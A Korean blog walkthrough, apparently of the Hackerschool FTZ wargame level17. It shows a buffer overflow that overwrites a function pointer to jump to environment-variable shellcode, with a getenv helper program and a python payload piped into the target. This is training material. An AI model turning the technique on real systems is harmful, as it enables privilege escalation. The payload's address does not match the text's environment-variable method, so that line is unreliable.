-->

[해커스쿨 FTZ] level17 풀이

FTZ level17 문제 확인

FTZ level16과 비슷해보이지만 하나 다른 점은 이번엔 shell() 없다는 것이다. shell() 함수 없이 call 함수 포인터 변수의 주소값을 어떠한 값으로 덮어써 쉘이 실행되게만 하면 된다.

 

 

 

FTZ level17 문제 풀이

level17 풀이는 간단하다. 몇번 환경변수를 사용한 적이 있는데 환경변수에 쉘코드를 등록하고 환경변수의 주소를 덮어써주면 되는 것이다.

 

일단, 스택 구조부터 확인해보자.

char buf[20] : 20바이트 (0x14) 
dummy : ? 
void *call : 4바이트 
dummy : ? 
int crap : 4바이트 
dummy : ? 
SFP : 4바이트 
RET : 4바이트

 

입력해준 41414141 버퍼 시작부터 printit 함수 시작 주소까지 거리가 40이기 때문에 첫번째 dummy 값이 20임을 알 수 있다.

 

 

환경변수의 주소를 알아내는 코드는 계속 사용해왔던 아래의 코드를 사용했다.

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
	char *envaddr;
	envaddr = getenv(argv[1]);

	printf("env address : %p\n",envaddr);
	return 0;
}

 

환경변수에 쉘코드를 등록해주자. 앞에 NOP은 100정도 넣었다.

 

 

 

FTZ level17 attackme exploit

buf부터 call 포인터 변수 값까지 총 40바이트인 것을 알았으므로 앞에 40바이트를 채워주고 뒤에 쉘코드가 올라와있는 환경변수의 주소를 구해서 넣어주면 된다.

(python -c 
'print 
"\x90"*40 
+"\xb2\x84\x04\x08"';cat) | ./attackme

 

그럼, 아래와 같이 FTZ level18로 가는 쉘과 비밀번호를 획득하게 된다.

 

'시스템해킹 > FTZ' 카테고리의 다른 글

[해커스쿨 FTZ] level19 풀이  (0) 2020.02.16
[해커스쿨 FTZ] level18 풀이  (0) 2020.02.15
[해커스쿨 FTZ] level16 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level15 풀이  (0) 2020.02.13
[해커스쿨 FTZ] level14 풀이  (0) 2020.02.13

댓글

Designed by JB FACTORY